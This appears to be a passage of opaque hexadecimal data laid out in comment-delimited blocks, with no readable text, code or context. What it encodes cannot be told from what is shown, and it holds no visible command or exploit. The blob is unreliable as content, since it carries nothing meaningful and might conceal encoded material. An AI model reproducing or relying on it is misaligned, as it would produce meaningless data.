dc673bb772f18e4f99afc8ecca6e6f7962bd5171c7a7cf1ff2c4e3b98c92faa00015c8cc6d9e2c6c92e68ed9491efefadc03a9f2c6aa11f8ff06d0cd6c050141412c81d5f5d78e2b10e57c8841ed227e13d6343d7fff06bfa6cac4839c19f14bcb052d8796320eeee7160dd21bfff47370f4e2ebd61d4481310e06c8e7457b98b2b9a2e792dcf39f64602be78a59dcec2be37391f67109515ee278b041616eb35d779fa65ca9292a14ed0c64cbcc0108497605fe5f1fdf007274e180c70dd98c138d226fe11f7b4f5a42198d5eb07933b4b5ec2eea2090f1741fe86582d2f39561f8f7b49722f6f4691ca56268b76838167bdb0d36ca74eba7693e306266243fd34da2070981c5ba91c48a958e0e39a8f8741ad0f0e396172a901d88c6fc2059966873b5113101d77174629eabc3d9cc3b34d2eddf9ef235224fbe062bfe3aaa19bf63a6bcac3c6bea72f395e493b0667884fd1a818dd9b738aabaf896efbbf8919899a1dc10240fd8f6e0d962ba992540fe87eceeca338a44bceaf6350d10b2d0bdbece240d9723e504a5c4ffa89630015c20ec9c4d95999921ae2412aee8c3d3c5b0c2cbc6789c2c921dbd1d2bdea0856491be2efe389a89613ac68b882a02aab713e8e54ff4035ea05b23ed128ca2ec46c19df0cba98573c7bf7e1184431e3d500ec4382cd2d8c7000794511f3465e1a9b9a45500ced4c510a625407b73fc9dae4efc6b36*/
/*f94f5980eefdddf61c83c064181fbb461d9b6240c242e17ba7e54cdfab6a69fa05e22da80777aea4b9050a1ed4ca61bdade24f699769e03a8c3ce030e755be16f62c6bc3480b0f973c404e98785d9e0052acc4ffa2ae09f76d80d9619e7e1e5c4a70b3ab37db10ecaeada4c998bc138e35ed604bdad408af4d0d98fd97d531408cdb6e5d2fe55ca0f92832659e89af85c48c7b54c8f85306df41548d5cd732f149af6abea274fdcda5bd2f7544e4cdd9f0d42e6c2fcca8eda0477cde787c398d6a4dec749dcbc156cf9d35ae110e65a31b292676d6361e56d57d98a9ab383d6d7e994853ca7d76da93f2043dab874aa8d727fef2d87a05f687aa825a3b4455d90ed7fe0dffa54d47fcb2d8a09aa203da489b5244535eb3e74a86fe8ad7ce8eb0e820900e4c54df6105a6813cf6c6f3d1e4cd4354261d07b26f459b8ed1877b682e6842aa269566203cd0e3e26385ae563e43a796703ea5eccfda86b701ab581177647e5a387119d26aedc8676464116e97e573c174c2df64e544bd62bbce52cbfffa1bd7634dbd42fc608e3b48dd93fc38f5d17a703e9aa99e5c560cf427a5e5007bd3dbee2c5abbd713fd6c9ea26cb6accbca763369b7b0b02bc1b82322f4b50e68357b04727f89cdaa110f0006fd617782f66e01640e1eb977f71444e78b19266c871f3ecfe4b6a943d7ed811d7ef881ea7049567e27db1b7f82e04fe368da01a18a3d85c861c7d79e7d0937ab16a428d01f9a275de8e45a3889acd79ba730cd32c84f5f192bbc3b687aeff4280bd989353dadcaaa2746b428ff6ed3c98dc0e8b133d1cbdd265109661344275438704302747a2fadcef5c625b36ac61cbab4a505eed090500091a2edf48f0c7888bab0ebec8c17d7b08030c38e85ce4d95e4fbdd8965cccbd67b13d4c27c382cd39abe54e0afa1df2488c4e1cda8e051248a3c67e80d905effc278b7aa045091e665cc0976425fb279f9019403ef005e7486ecf2479013472ab738a0e8e8f430fc912e78f4016667baf511d4bd847ab2be51d9cfe9bd6124a770d085dd92f59a536046f3b1e3f085c7bd4c35e7befa1cf6b86ad2aaab581116018e98345fe25b49bf305153846b9692693a81e8169026847471434bb9176bc01a490223f196b0bf077bf322ae3af55a65511ec285861f3b46882bcd629807bd50c3fbddf3cd7bace04f4fe328a31ee3ef9cdcede76edecbfee69c3cc2aa761f63b9dfd2399097567d68892827b7c4de5bf3415570e4f2138c6fd3de4519efea6cdc4726a91aaaa202478fd604988f599d13a5992864d8f4828087a832c52a68cec8ef0200d05d4208f3b76e47a008ee41bef7abcc88b3cac668f89448912b4eda973e0249a8e247caa09e8bcf13be087459be62080f75c80629ec63cd5c61a648c8d6bd1f14c6f9a2e5e8ef15e56a5033578501ff2ad7a69aa35cadf0471b3f3d88cc458c17793f55d7218d46a78658030e020e8332a33898ab7b4e8e27dfbf9130993170e70d4d6afce002215532210b1dd95f671c87ef927c12371dcf4516f1126732eba2e2a1889d3220604828835e780109aa30fc23cba6a86568e4c60d7422b6f448faf3713f850123e358d82306de0279222f53c6b9b4036b718ce61002135ab5545f035fdbd50647595681dc57223c9adc960d74b073780471b5a4c55ab0b7aea3127406ab3f83e10f3001a100fb1d5716813ee6a292fa636eedb0985b24d9d4d926ede21c3afa429c2b8ce9b20319044bcf8563c485fca03e3c3e7d0c30e3b6cd6e667efaa5ba3b934567689c01fc9d3f50c3776c8d026d32fe261879d9dbcc33276d6aaf5d1160c5a172936906d48b0b393481d370196579c5af0e967c38b59503f32f971506707c775bf2b864215d4181be9510252151809d977f8f42a3ba94188e0059c17ad1e07542ea92bcbd8d35697a016e586da4ecb0b09d47cd8d2e989a2d0fa87f057e959848a0ecfbee03e9cd28347b4a9bed59756658a2649bc6e75e678b2df04d916223089e6bbb2ba0105ad7266ce4e0cc707cf78607b48e776ad7346786b3a7c30e52af7ccc013ae47682f5e7c6e2d4fa2031ce000c66c26d40f2af8b4d903e1a291d4d8e2ba1b81e37d3a0e50c61d6031897e92e424a9de1a41f3cdedcbfefcdefe8b6866515809376126bb20c1617f0d07311123b23cc92d3c83275f98b2eca8bbaa4de77d12377267f1b9a3f375ccfed23978888edf5ff4cc52b4239aeb3e3a571f4e3c357e99c3fbc6865f828eb59750bb457c998ca1917c0611c4a054d15f879d22484bf913119f4a578312446a76010493ba368e9d4778f2cf6af71f47c6ca1ec4ffaf6d43c859458089d74e0d0e2db3c48fe3bc3736478600f907d170d39325489d06a4ebdc03f4c53de099b42732797c13d350068557215b87f8cc2d805135e47840d00017c249c3b33ee087b2e1d8ef81ab423327befe42ef4a0e9c22c46a6d191cdd3b5a54559b788c5602584f5cd13f2bbb7f94d97bcc40b9017766400990efcbae9c4c762217a2ad81c02515b9ab8e22cc88cb98f1d7c899bdac15335a1eccc9b666915c15d65fcd396dab9bd409d517aa8c1b82cfa7dce6b35dba87f04cf4471af3d62aa7baf991519d4a8ded3a81ff9ab9fa48c6599a4f298504ecdec89c363f86811316cbcfe22eeafecb43dbc138dc5b8718abb4a637a20efc9bdf707bc1709334e540423d5b82569b81fdb1d35f35ca974de5a6fbc9662cd9bffac63d17be472a996a80e29610a08b5797634a73667cc13e219fb8ff4acd8ec96184ca9dccfc55e23d7d0587350ec202aa5abdad9e748792d80a37f*/
/*2451f87192dcb1c5c3f8936fb398ea0560e391879597d16dfa3b73faae3231d97603c14d491debce27e2417a1469fae864089cc9e47486ba40709fc67a4d39c5a0cdab564f6a3be38f70aeca09453fc349e0c0645238b0bb9351fe657a7400253a08e18cbfd4228ada02c7cf1b256f998cc2fd68390a43c3343418d271c065d1bc4cac3766d3d59b964a9e63293216c5bb032e04a08e2e5644231ff5f067f1e74315dfa323a14d6e1363bb5cb9d0cc2336221d8362645419b99901049ad87a78ab1a577f7c364fd78a7ef437f2dbf1605a335d630836726c7fcba787400b29c58743511bce88cdfd3645fcf8f3e9d4a258a42ef2bd991a53ebccd2f5a8eb8f207b0a7c95b7eb6bd91d5775010a17c9a5cc09c44ebdb8d840a4f416f670356cf7cc99917ef4fa4431c123bb7de87a806cc186900dd988fd4748c66baafe970a9b80636043324fffc329ce08b318ce6ee93b834b4967162140612a941dcff4b7b2cc2968941cb2950ad380818d2e13da5df1de85cc2d328acce07001cef8c71ba1130c1350f9d34f2d61d6d152f0f22653c224cf0d379a74b4d0df7b78e2d40dbed32754593e9aa80e998e2b8e1dd440dc6659d1a438912ad8dd5ee752bb93baafdda9630d2c754335ccf877dd40e845a1a09dca191141c763c418d43f5671909c3503de9469f9ca3cbed768c6c6234020e1fc5a4a23adba4ed9ec306ee2a23a2e7598ec0c68b97d1179d2b08ea512c2eeac7567f4f92f1ab20fd2f0aff69af877460fded46722b251d1facd878fba3fa3312b27c7d905442f454e4168ead179414cf07783af65b825b44605d0fef5b3c5c3bc076e0c42eb73a269bd8c73f87d02abcd103625f3f308476991a63e4a7b119f483041ac9be191bc96ba11b04b23d3017aaf08ddda19584373689bb1f629bd8b96ed35498e880ea3a8fd895f3d32838dbc6ffc7a02bafc474b648205062369a74e9b8b833889c52107668c3211927bb9a90af43ff8953fb2c6db8c8a4565e6b3f6c96e4b05d388a505f481369781b5e5d145201b68df683a6e31127a9a31581f6b95f3e3e7f0bc3316f799ff00c3aec8753fe374fbafc3075b559c8d223d31ca9d58bb407b7ad2eb65c8eee9fe000e11a21d800584c5e191f9d0b5e6f11c8ec0660dc75d9ec0d44788a7185ac96d67349b115dd972c80301537bf5d3d0190c1291787c74097bbdc4b59b4989b4d6e7cdd20e6786ce5a979ee9143a6b08a23888866adf5e1694c1393a0df2a9efffd5fb59e89d2218ebc46e55a1d9b6144eb06d27fd95d3d257c6dd2f40ad54b16f05bed0e34ffacaeca464ddcbe00d31f98f0cdc9a295af8d204888b09dac51dac7281274125ef03d15e8cf452e451e805b952402204df4895d03a9b3c44b8aff6a4520b8a27bf5d665f7db5f944a2da1d201ea394f9af1e98e103675862c38406f949a9a8ca4f6e6461d504f8e73b03cb97dcf3530461916d89a5a9bff7fa63f44e71f9673f1b777e215653fe3a939a9b7292a769f767dfa2377f036ae38d4b6e424451cf66fc6f8a86271206147cc13651c48b98e812713f534ebd0ce0afb03d4467fc01edab1e147f9ac6fc66daecbe3a0030db148ee36323a564f50c7aa25c69eb5a33fd8c9a696266c607b7e22c8b5454fa2cd225625000ba072ba0a2b0bf03dfa5d6d3464cd5e594e147286a10121569a8ea36c04b89ded1920291d710f6eb450f5edd0b3f124d50c2a79e3c3b26f8cae3a0f94a66c00e9149ba8b81f307f3202ced6d8bb9022a28c25d639de879cf9ddde9e0c032113b794aa525313a3d7c5324821aff6202cec037551194c28319e95e06e55e11cd46e32d7d18ffe541e981d960c64d5afb1d37a5b74a9dcabc53b3a19edf1939c32da2615c15f93b9e372e96c8ba978268ba71bbd6e8cdd3cf23cd258207d9c40f9b9d23bef550bec76f634a4fd270f3a0e5c3e245a8b1796268370c0fc57e4637bb9196d9a34befd1e47ebe0c346c12e5e7d6f2aaf790a56c29baf646d979dff1e04ab211c50ef22bbea8dccb58b8d5d4d086ea37700fabe36a253c8fe455cebccabf27818b06c1f543d33349a882962ad0a768ff7dd0772dc0784ebca17a7c230fa6ff9e2e0fe70e13b65369d060c30ce081ac9dadb914a31c0bb8d568f6fd39638059a6168d3a787cb0da1af7e6d05e7d19372c70d5b4443280a250df448cf0107c0526937165e225bdf4c3d63cc5940cd8cf024ab76a5a05a3d4eae8f43ae79f6b7d8a7e0ea32819a2a29271b9193d73b709a6c6084b5e12e158f4d7d6852e42a7d2c5c03f631a9903c5bf7d2c3f41a5f5f045db7a19e9ab4cc19ec24adf602e422179c8a9d8a396b359cf34eb84449017a1c4aefa92f59be1ae7d012d82503153c929eafb79e5fe98b76e0a5e313efdde03d59abcd473f1c8f6c567d391d17c8ba58f8b75f6b0b398df7ee37dfa1ced5084ae28e15f73e055d9f0e7754f90167d8e0906ca910f11bebb5cc97ba798b83dd076dbd75f6ca6d0a18df58433f5780a518e178029a2db203efd96ece2de5dc8c9bb8d6356e9ad7d2e7369a1fad131ebf6235f2141842725c252aab90a55a833e5f46aba75ba67234b67ddf68815b9122e501b19e947c1a4cfe6c8dbcb88d0319c6fdfe04163b28db1cb5c1f28b57c2f2e6fa761c935285b41c2790a2539b0a4dd4365dab08779ad5f5cf895cdc9f046491e7f40c1ae21572b058924e17fe5c605d5d9c3f3e01d886cd0b2ea21c051a745b5d7d4bef5b59ffadfe22bf6a453f18c35dc153dacf62330d08e4d79e8ba4f781e02c59d66c5ad4a01bcffaf66029f651899147e1be6*/
/*e1bc7d2d3543f81e433479c181b654f891e647582be7c9dfb8c5397d7cda934c9d7571548f3c706e94ac64dcaea2f78149e4a20ea7ccabfdc135887d61d91445dca963fa0c8bc88ac70d08cd06a74f7b1a9d2369bea56b2e7dec89bde5cb45affc786bfe82cda6760893033d9ad1ce31df28e986a4c9c9d6712a177796bba1f17a37c3cf0e9ccd69e7d2bd87eeb2ee837d8a4d459c8adddc845ede2c95fc7ee95449b6e215c0013a4fb41701d4f4da1a5f75c22560c5c4461ef7e5e71c49eb61eeb653f760da6a66b6a9b510e123f909d1c4b65000a2bb7f1dac54ebda382fba6a6c53848db24023ff28069162d13cee7392526137d27e24e55f5f60b5ece8c86d9fde93fea209e7eb73153097d715d6b07c899cc06f16d5cc2be1c012d9f948ebb68f5c2eb5495e3f719bdaf80b5e08bf852631f4ec41dedd9fcf1b7a4d2a2a66efcb28a726359f31839beda9e40d5c522fc17d8b5dbf2fb9e2d777c6d5a4045e246e4d79464e54dfa3cc2cf1720a81e500280ca484d495df1f08989241cde3d932acb2262e9d8067cf1d730736feb73e6d3fa373d9e1722936fc3e00340a3ac5ad6593d798ba04a46c074f816b419e6388a522ab7424a47a43064a4ac01d6c79c8afa831771a324c0e3a5b3c9c0d1d5b8d209365f51101565ac21e94973824b28286ad7e0e2480a41704c4bc2f906a91f4ebf0cfee8f626e459316534ec13bf514e67d2d5558a5b335a46c512ef54a9bf68883bd3a9eae9b1f66e1ad64af04614d49545bad6623a7d47bdf803458261ecf2e327f673a50047b225b529e5e6d669902d3c2eee103a6b9d1dd8ecfb45b8f0d9109cb278e5d34fb740c2adb7ff132578f4b05773acdc40aea87b157425839add63b177df576b51e689c118e6a2d0d1caf51a71cc6703b2f35e16af6e827cee4403874c4e5f4cf9488ccceb876b26447f6a2be4290c995ebdd207b85fcd678c2aa4cddcddfee201dd778ec29cdd91f4f204471539e70483b04e9cc45d7084b2abb3ea64ef91ad267e9794a8e7516feba2afaaaf93306c45298ec71697cb8e30b24457593da087c61703e8ca169dbcaf8334d848f6f3165c1a483b962f573e54ff199cb9804b1ad14bf7e8765440cee6d0c8f1f9c23ed70d37ba6d7e8f45d32035f1bd215d964f6bf3f9b80a91529c6ca75962cc02d1cca52ec3559a573bca7de16c4e3f71b139965036d9f854aa8970eeeab28ad0bd6da9696e22de2ffeeedaeffea8eab1b359e97561736fb478ecffa889c7634ab28ea42a316e279431261f359a42d3f4f87bbcb447a78ed434eb1d2f64134e7a01cdba64263fe0fec71c7a813c75cd8dc55d5c1431973acdf8589e3393278baafea392573396322d3217f82ab98d5c165619dc48f4a82cafc9991e90847b6173b03bf1fa4878adb7bcf20e6ea89f138d3000d344ff6deafa7ba5331f2878ebfe595e4792733fe7884a78ef507857314bb05ac9a97bf19de578f719f89ac54ea24ae680de51b1bf2d0187df7030686d54c40aaf21be878d2307c0088220b62765c1557682d89b6efda23856d3da71689af86e08c7b4db80837ac59cd10ca4c3c7c38bc1dd71fde96f76e024e62b5fe7a8998604f355b4337c478fa3134a6fa5d33ed67e3e7d918dcfdee3752fe75a45bc2836d1222289a4f422ff4a5ce06a51cf2b2674164168db586233445c8be6d40bc89236a272d83a0e227db679f1ab4c114f3ab27afaf47b4e7bd82e6388d7ceb8bd637edb9fb0c4b1cb338ae21525db32a974d7979b985e8666cbc891b251efa530330febcbf7060f1446c487ade6f2f578792a0eacf631494acdbbd5b966107ea5d6b66f17ce5c6131f3638f813fcb9402712c8ddd4ee4b14599e87d3f06774710c428516ec0eee03f2db617ebbbc14098e086034e09885bb3cbb0965ac45ec2316544dbf63472c5084538ca1a1fe4b2a0f1916213e523bf030661d5ff508b7c8e78db7b73e072f9fa3a4c14a23e66a5e7d3dfea30ee4ad837b5d46ec9793fe27ba49fa907e04bbff71884cba3dee6ba2711b693237ebb74a764d9e168c16f1d2dc125f2ed5dce3d19a36a7e72e6e9af916c73c22f066c7c8f44bd42a073a262f3c295f6691720467edbad61732b42906b763e25e23176d1deed306b7fe6983f4fdfa0f1b4a230e630e9ceed47def03851c5ff7120eb1ed69bcb34d8bc547bc1972775309b02f551b9e6d309fbd62208375eec5e655955294cf9d3b3fd5bd4804bbe1a23e3b7a31340a0672dc34d899429d83934f4e5ec6f788e591712bd27de1e324e8b5fe7015106922ac960533e93c11b649b781fd319ceff1cee52930eaeb8e70667e5ed0c18da86178f8a5f3a4ceffad4f07078dd6f35f459acab40ada227eeb1fbd199f159f7c8a6256aa9793ed53ba19c6a137efbbaff5b3e3ddbd3d26cef62a1fee2bb65f897c0a8613de7231a78f7fee75e0468480b2fd4c53159add2b90465057054772005dabe480f9c3486b381eb67c339e8d0b29d96fe06a203d8d1fb43124d651326a8b50228a3ee881764788755bdc307f14d53ab4d44d11124c8e30f534c22c81342bc27f88c5e4bfdaae3903a57170498832817d33cfb51a76b5c082d7c4b95286682345626bbb2b1275959f87e3ef0040db24ad23dd461d6398c21f3dfebe927629114a79cf28dfd448b2e8b380ee694d2032e6266149920471a1fded7cedc0e34900b268ad424751d45bb4d278b6767c5fdf7d517bfb3da44785d04b289ca4e0505390afe571aa85b7fb1089b0887af458818b80782596c82a1970ee5758656a0adc7bc94ee17dc9effe0aa9d52857d0*/
/*129f89db3b8b24b477c69e1d3454bd8e54404376c927a15bd7862486bac11d0d143fd96608c9bc238cb477d01c25533399b3b512a3ae5901fd55aed9f2d3e6a17a77e884badfbe0f8797c4ac8911d576fe1df6e49f853424e24bbb9ffd1eacfae26ea4e72a434c804bb113b597a1a0dd6eefc17f6606b76ce11a5db160adb3267cc9d2907d643649d0051c6369487c5e3107b22e11cbdc428acea4c129ddbdb9334e9479b88782a674eda1cd414300bef41b282ff2471d80da70e50f5c1c594bb836f05f98658a88c685be260b08672a0d6806643f7f623a3ea7e2be047f44e6aee4c188b6b82a1b1edad3910ede668f08d6a33abb27b94efec859749139c6876a1244c98e9843f074dfcf896d56f12f4f15cec03a7fd8198185a0e387cb9e69ff5a403d698acb4a82ed77645e08fbf8d543c8c8f2fb93ab1b8fa15b73418faab61307a9a1642dba6db4993e2a7f582e9f55f2ae5776f88a84a0192251c441506fcccfb7d52a1be84b198f0027ec55c50f928ed5674b9e8d88915f89a8419e22575aaecca2e7ba6cd13fad9d68fe1746e98fd821b3dcc955e6ff8198df3b36423f1960ccbb56da14614bc3da40e8ea4f5383ffb677198f5107065d5a2282cb60cb8a9024be600c7ce441d51d0d11349c6551bc402a4d14c6cba3d17e1777855ac74f3fd149365850caa667d0a5d74b5a7b0938cf8646f2713e0bbec4c337fa715b01ab3570ba5b2c237428cc69b3c8f28aa760c0969c03c35f517b889687595594965afc08c4b0bc2c38d69322355c00197242c307f95b3f71eba39d9d787222078a7e5cf90611fcea67663e976f46fe72653602dfd822e55a71b1ee432cf2510ea94ed8158577273f7218d8e1e4063a44816ef2239404674b66679b888feb2512226dcd55f2133131f909dc2cb6549827d5e78143a75bef8c2c49bac5e85091febefa91a8791b6b2be536a86d76e9c3c81a08f62a61237a6a7a408b94cf5c0f64c00bba2eb1511f66c3b470e8b5aef14befda55d0d208a245bdc5c5a48fd35d5ed79494ee36613552130cde6f9febb072d64da52ca69f33571489cff53a56f3ff1163990121dd1533bdf6d629243607a9cfdbf2ec3f3c378ac64aae3e37a362c36920d9117f9265dd56d9d891edacfe7b0b454788006e515bc889ccff1f4478d8db750909218de62cdddade9e011d2029300d486fc881dd58be94a2bbbd271f4872a024fe73f34c4ce030c733cce487d9bc11d2054ad1bd1ba6d7aa0ccf93d58a7e4de460eee7e901f8cc7153d5aa313b3696749c5d418ae2ccf118fb1822d3386bdd45a4b8b7614b3fcf02cdb52f0fd2c32ad32b1ee87fd97e57141e26b21832e999b3bbf2b9b3aa1d2c07628f77276ce0df8314c74b3f67d3ec97f9faf9bdeae701ca943e2e3fa5fd1dabdead953e7baaada0ed3f702951627fb2bb66e3861bb09e1c2e72daf4c44befe40a837dc3f911e1a27c3846f756c6ae432f25cdc064dfd9bcf6acd7d70db772715022e820a67da751d24894e43facff917b67eb0b39670e648dc9d28e861fd18d24418bebe9cbfc9551a3e31f562bea1aede3c1f9e98e5d7bf4d8e9446680b6c63d8d07f9cb15f5c74b7c0585b225f830fa18300e376ada70a22b27e12643c071d16d797947c9ee53bb3fb591e02ebec9c49ecc55219d44b8661de226c7ce77f13dc4c09cc29536acf3035755bbfecff8a9adf8323385a4d44b3d990b13cf005cf8ff3df2ee93a50431145e6e2af96a36fc2b2b011974ee0f98ee400fde52633fcfb3a0f57b4b9b79679b3387a4e0c7306914123849892def7c86b057ab8cd6dd9afe8b224eb1ffa1e6d28b4872c8a45ed55f80d63d72bd0b1ec78325ea984288e2cf3573c550e1a12effbfac5cd87823a704b5c6a96db466abdbba8d3ba0712bd79019afa325b0e7945915a9cd035f6c79860177a0c4831aae643454388d59a495a2bae3fb57994190178cf164032fc210564afd3f8e07c55b847306b199b79e34b7dfad98ce3a63d316f1f5f3ca8afb6b8a2712ce0f8123f3434a888aab5106be1f35930a617251c416ec97d60b81d1fa4768af59fa18572dc19b8fc87123f1deb144ab9c6aeedc9e200ea6038e27a7ecab8f00c242638b213500f43764f59fb0aebf33d19df0ec053a30b184e74b62ce524b216ad3820eb284fb16c49e14ab26423145c1a61f7087fd974a2ec9a242d195857bc3f69855a0513819f73a679efcdb72fd13f4bbf1038422779bd2ac31a4534d244dc1ed382a15c0600aa92a81a9077a56660f14bc383539da937a39537cad6cefecbd4de15c76fece2a1444ac70c7b2ae08d295d8713d8a59b2f55d6a06b1b8100c1cb8a46d7d254a3cc86504ede3b64210204efcb3e5854d05d00fdeac54b882a81fa2c558e6b40110dbda873a6fa3a01ad114637f74d9a8d6bc5c662736cbe86e54e8467cf00ce72a902d42f5e0c0c14ce27a6b7aacbdf39aeb5d6c65994c784765e520bea0ac83d6eb31926e24abfbec1f37999ab9acd354faf0206af2985f5138ca3592ab31954fd9b035971b5d091d45d3c580b83c26fafb85e98a90d18b2e41572a51b3d8288d7741b0ea18d89c2fad4c39588b533408f9673f2dba23f9caa19747ae7e8ea85332f98c5a3a10b32fadbc56aa363028ba1fb73103f4d358e784b3cb33852010df2da8c2c2d704d2abc565cbaa0866cdd4e2f1018898b837bbfd754c05cd05e9ea7a10d65627b2bff8edfde66e7c084675b03a7dc9ad71efe93842ec8a216d6b7bfda8e3ec130469f1682829e80413d21472cdeade524c853be026adb06b2cf4d49d9efa0646d6f8*/
/*fea2eb352aace6949f2ee931a1e2bbe03231c3c8d6671fac187149025d1fd70841c073e10681ef37e90d335883dd6360c6391800e8ddb7b669b6ff134dd4738cd175d25e95286e957a28e7c7ee7a62d2c04dcb70663c687e66bdfe8a25e257e4115229070260d93a18dc7ff92a38b12411d43371a6c9d89a18e732a3d3d142bbd73814b618aa32bfa12b42ec0d9a8b9d6e3dc85d80887d7bc7f969c1a650f6fe48dd3df86d0a5453742e969d6f66fa8d6765e753673bd00b18b4b4d57f15ed13709c94e74c0e89263d1dc5c5d6b7e38b545afa79c227cd797406a1d0acb097b62f244374052e4956d64bcbd2e7f661cb101f5b76b2b22ab2a963130794e0f0e0a71d3b46a4c5cbcaa547d7b082af36224e6bd4dda05cd47fb061b3795c3aff8ee7ffeaddc1edbfcc0aebeb84655dd82a45b22973527767e18acdb56963945984c7902401066d572ce57aeb413a58aec395c246da9ee5d4e7d7a8c1815fd7fdfb6e44b2e337fc1faf0492de29ea35d36b7504ab5d1987d0fc5d7f73c9d8be897b6d1fa8e07dfa6be19d28c0f4814acc3df6ad5fd33dd0b06fabfb3374b73d588e746109ee2b4be02d2a957a967d06427dce2de30553516f2d0e8c6a3273c4b12a5e2dca26f90904d4aff2bdc2d2af0269f4ee2530c8038226b92349b9cd50d3dab074f2fc4f432074eb5317bc466ee92efe6480d39ca9466995a8ae47f3b4baeae55b562f0c12082c7a3cfcea7427c70faa4733146018fc3b6c2921d602d6d0d76b00b35d7b94e779dcc309997b796a38b4a8709fa759b8ecdf7e9a1707a63f37bf537a8e47553fd060bb3f99499852dd3c1d008895bfdef6e61454bda8465cd2288b707d0443b9c90ff223f06f1a856208a4ca9530231f26ce820018ccb01f8ae905a5039b90b90c97903db3d07ff97d74a657cc9c1f1a55cbcaacf3ea9fae5995e8346df580969476fcaa1175e273d976ec75531671b200442d458101167ff8edbf42c89eb9d9e52bed9d9a1ce484a2b96d5b2526a111228ffb1f784d4248df86e4f6f4108f825076ea39e8c5beb062c02b9cfc5ac7814b40b4ab14a26ad9d2f72defce9ed2266318429d9383c05e972305e7b87094484366da71529e906b5857eaafe77074c3619838ef6953a4d4a14dafd84cc1dfcf5e71f7334079907ce40ebf6cdc93f7f8b463207b0cce14bffa2c93fc794a42308a0ba4efa7bfab68dbacf35d4ecdb86e2ca456130a3a947446433c8a0f3303ef98dcf2e8711a548afdabf3dabe1642967bdca197845f74873204516f9c60cc2638e7ac00e14685da10fd87fe42672a0cc8c49b26fc974e00b604666b0111d9ceb6c9d78618b7572c437a31e022c2213a6349ef9327adb4a18e4d1b0611b9f1d9f0b193d37124290c563d6cd63efdbc88cdcbc8cc4219d4c84556e5f6dfa0972ff19e2252901cad2493ba3ee40da85f86f1e1dc08e5f6c052b19ee264ac4ccde132c9b1ad1e9ed3f0e8216c8094d61e23ab7d99d729cbe50090cb3b8ac87a4c4b86b1dbf37fd646ac519596a5931678eeddc61e1a03687a0a400d6b30a3443ac0bb0f3c8ad3c4cbe743c5040accb0fc01baca921d9fcc53f352980dfcbfe3a326420d05f459efb086cdcaa69ace4963726124528dfe9d5d3592e0ea671d933ab011175d04b9436c87170734697b812b28334fe9466ad0f8f8811d8739b23739bbfe4f6f1121afea739edcff286d8cebdd84c08383a98b84aaa6145db3c1bc09e7542eee211069a941ce017a9e9f5443deb2b173e8b041a3dc18084c621aa1dfaeb1a6f92cb99f6de857f77f6a01894131f4b943345140205e629ba20c99c11eb5708b0c5ae8eb28a9118b1a3b3c90420cca0fdfc317cb528d0ff5a9589eb887ddd383d8939b2c24857855e972191208469f51f7d1932adec8fcca5077ff026857afd1ae6df6f48f4f712ad4e70a17973bb31e13161bf259938f2a72babf5a788facbdd9647c95eedbab38928c522115e2e1ec52280622fa2f0b2740b24867b77c6742469d570e19f480e5a53dffae2d263c6a0ed4575df2d7e0050509816ecaa668ab290b3b8189a2a0c5887a32cdd62e43d2c1267fafcbecee0df82ebef7b0a1084ef59bc35d3b1cf7c528f5c9021b9a553cc30bed6fc42c7c09da4226fc242af308ddc1ed7fdea758c7c5c5fd8e0e6917d0c5830d6251c6c57380f986d26bfc11c05381cfa58d88d4efc900ba69ed48ab636a783a6443daba43be0cc4bdab9221d2213c685585f0427731139288635393db2ec71f01ddd970878a44ce1e40fee3c6f1f9a4b56c03286309dc1418acfb89de095b3fd4f63578f4160ee2189b28fd74b49cbf82de58e512348c787ac735cc9561e175ab2e1ff25660f6148686221256dc5c2a8562de49e8ed46bdec7306c864e2bee479a740cef0da843b44051c3fdb45028f2f108bd97407d84822e9d39915d7267ae9fa5fcdcda1736ce6513eba1b457e7ad4607c11e5763d903e3bafacfdb1ca845f976c94972d5a66f528415ca93198317a5d291ff381cca68339a34aa2a9572252a1c37cfd8c43fc2042d12359828ecb784ae4f0b13afd8047cef4ee3fcaea7ebde48831c690d6c31cdf4320fc4eef44688b241c7f57fe349d4431d922f8dc9cce6af3e733c721d73c6b66917b250b09fd870dce3eb75a099133f5cc2b52f875308738af9308752d656250c2ed6b211c580addc524ebae150d28e9fde30bd278f8c96ade3cd9264c0abf35f2d0eac69da2d72cae798382bc54296fc1b2cb8bf45e78fe2fb91b883a7c61c605b2b970d1e9db01ece1c4bfd0dbce0b901fa240c547c1e122*/
/*1221f09ef8ddf27dc16c2cfcb015f4b8c0ced8342817cfe69c8566a35b041e4be1fce0b7ee8d4540cfb96098aabf2db9db4c95730383639203a1e9b58a73df5fec34b2cbee766157c6a81140afd00bf992712acc53c88f5f614ed2d0643435a287f15ece878d5256948ef173c40519782c061395003288324a2b53b7153522c7d8a444fc02c06ab8723d9dfeead9f574847d589a4ccc01048cc248ace2a9deb9d67db1b3b0711dfc7df6a77e6074a6962826d8a8fd1045846079a472b311fedae7cea9fc8f1f92d79bc20c4368c10ffe999cc214cc9935635324ca31eba08b062051963b7b403cac8213cd552432eb8f96becc75afaf2c3830de552e7a9814582c5976c787079a9183dcc419634c6bbf0faad501fd93135e80851612b8ab3d61c25b8c999b240c55d72941574f2000518e9f3ad7517dd1d6987437df75f63600805a57ecec4aa6d77bc20cc87012602e081bb960e1c829393569334c467a28f5e9961058a29ca981a04a706b4dc1b1eff19aa6ffb0f15c5616f307cc94c7ac0916a3b7c3bc9c4b60f12ac573a9c7377a0abd20a6c1bb76c5fb1e94192e2935ed9820811f7a9eb30a951536c8e8337b8f296385660b7f8d6c744342aaccf4c6abd55cc6edeff21fa29580e9f1ccd5345bff83e5faa67793cc586854db0909d5142d4c007cd566dc4064adc3a26068ead954aa128a0d0d69cf225005b71c2b1fcf27a04523ad4b53c3ed0077d4fa4d18c0c422576e2a6ba5966d603152b6c97a27d39ee897e7c305c09f106ead6d824ca64008a88177b3223cd82ccab1a965448bfb3da660f0ef652242e231bf1a09f88b8c0482214308994e1a82996884208e2f36eee652e38a5a4c8f4212d93ff463d2b729448f5b1746a24b4833bf2ac845e0ad8e057eec632cf2e3daf4bde2f4b8debf1a81c34e191c5e1255a4dc4b0132f1c7986a8c6fd147f43e696466a413e7c42200e3c302e4a4b3b9833f96888ba34460233856b320d62ae25cc0abc8158c927d0a850400e7a0539f30851819f4a143a7edfd50af66bc921c22df0df4987f7dae4f007d00b3dee668d58ec103f9bd5b281daab225b88233c7d91115a4f7a7da816dc50219bc59f74aea91a71effb7f7510ad948b590804a4ed7146f3555d1054975eef969ed4eae1e93fa89b5b4d7d70851843a4e92c43ac8ba878487ae04a4b6062678276d843db8436dbb4ce15127e5612013612938a824fa44659558845bb6ead67563e50dfff5e0ccc51236b4d7ca4028971e6bfeb11d4914fdf672628